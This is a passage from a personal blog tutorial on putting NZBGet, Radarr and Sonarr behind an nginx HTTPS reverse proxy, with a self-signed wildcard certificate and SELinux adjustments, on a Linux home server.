local-data-ptr: "192.168.1.2 nzbget.cool.domain."
local-data-ptr: "192.168.1.2 radarr.cool.domain."
local-data-ptr: "192.168.1.2 sonarr.cool.domain."
...

Then I installed and enabled nginx with:

sudo dnf install nginx
sudo systemctl --now enable nginx

We also need to relax SELinux to allow nginx to make outbound connections. Run the following command:

sudo setsebool -P httpd_can_network_connect 1

Since we are at it I also created a self signed SSL certificate for the domain so I can access the services over HTTPS. To do that I ran the following command:

openssl req -x509 -newkey rsa:4096 -sha512 -days 3650 -noenc -keyout cool.domain.key -out cool.domain.crt -subj "/CN=cool.domain" -addext "subjectAltName=DNS:cool.domain,DNS:*.cool.domain,IP:192.168.1.2"

Of course change cool.domain (can be anything, even made up) with your actual domain and 192.168.1.2 with your server IP. That will generate a certificate valid for 10 years, copy the .crt and .key files to a sensible location (eg: /etc/nginx/certs/) and then inform SELinux about the new files with:

sudo restorecon -Rv /etc/nginx/certs

Finally we can create the nginx configuration for the reverse proxy. Create a file called proxy.conf in /etc/nginx/conf.d/ with the following content:

server {
    listen 80;
    server_name nzbget.cool.domain;
    return 301 https://$host$request_uri;
}

server {
    listen       443 ssl;
    listen       [::]:443 ssl;
    http2        on;
    server_name  nzbget.cool.domain;

    ssl_certificate "/etc/nginx/certs/cool.domain.crt";
    ssl_certificate_key "/etc/nginx/certs/cool.domain.key";
    ssl_session_cache shared:SSL:1m;
    ssl_session_timeout  10m;
    ssl_ciphers PROFILE=SYSTEM;
    ssl_prefer_server_ciphers on;

    location / {
        proxy_pass http://127.0.0.1:6789;

        # Pass correct headers to NZBGet
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        # Allow large file uploads via the web UI if necessary
        client_max_body_size 100M;
    }
}

Repeat the same for radarr and sonarr, just changing the server_name and the port in proxy_pass. Reload nginx and you should be able to access the services with the nice URLs we set up.

Conclusion

I’m not sure if this is the best way to set everything up but seems to be working fine for me. I especially like that I don’t need to change the permission on the shared volumes and my main user still has read/write access to the media files. I also have an NFS partition mounted using the same user and group so everything is integrated seamlessly.

If you have any suggestions or improvements drop me a message or find me on Mastodon or Discord.

Roastidio.us Tagged with linux

Google Chrome Offline Installer: Direct Download Links

Beware the Cradle

Memory Manager | Internals for Interns

A Metaphor to Carry Us Through

The MMU and Page Tables

Shelves, Wings and the Shelf Registry

Zones: Pages With Special Rules

NUMA Nodes: Different Wings, Different Walks

The Buddy Allocator — Reserving Runs of Pages

Per-CPU Caches: Skipping the Lock

Kernel Allocators — Specialized Drawers

SLUB: The Default Kernel Object Allocator

vmalloc: When Physical Contiguity Isn’t Needed

Virtual Memory for Processes — The Address Space and Its Regions

Page Faults — The Librarian Who Fetches on Demand

Copy-on-Write: Photocopy When You Annotate

mmap — Claiming a Range of Addresses

Memory Pressure: When the Shelves Fill Up

Freeing Memory: Returning Pages to the Pool

End-to-End: From malloc() to First Write

End-to-End: fork() and Copy-on-Write

End-to-End: mmap() a File

Summary

Exploring NVIDIA Linux Drivers Internals Basics & IOCTLs

Introduction To KVM & Hardware Virtualization​

Hypervisors and their different types

A Brief View of Virtualization techniques

1- Full Binary Emulation

2- Paravirtualization

3- Hardware Virtualization

Harware virtualization overview

Getting into x86 & AMD’s SVM specifics

The Linux Hypervisor : KVM

Specificity

Attack surface

Conclusion

About Us

Reproducing CVE-2026-23111: How One Character Can Change Everything

TL;DR

What is nf_tables?

First look at the bug

Understanding the bug

Reproduction in Bash

Exploitation

What do we have exactly?

Leaking kbase

Leaking msg_msg-2k

Controlling RIP

About Us

Building a tiny FUSE filesystem

Try it first

Filesystems as a request loop

Metadata and names

File contents as local blobs

Write is not sync

Caching and stale metadata

Shortcomings I kept

Preview: Slice Up Bare-Metal with Slicer

What is a preview?

Enough talking, I just want to see it running

Stacking value - autoscaling Kubernetes - on your own hardware

K3sup Pro if you need K3s

Everything you get for the price of a coffee

Quick and dirty installation of Slicer

Any colour you want, so long as it's black

A quick template for a VM

Running Slicer as a daemon

How do I customise the image or setup userdata?

How does Slicer compare to other tools I already know?

Slicer is to microVMs, what Docker was to Linux namespaces

Wrapping up

Notes from the PipeWire Hackfest 2026: Part 2

DSP features

More DSP features

Volume limits

Performance

Declarative Session Management

Bluetooth

Audio analytics

End-to-End: From `malloc()` to First Write

End-to-End: `fork()` and Copy-on-Write

End-to-End: `mmap()` a File

Introduction To KVM & Hardware Virtualization

The Motion that Changed Everything: `~`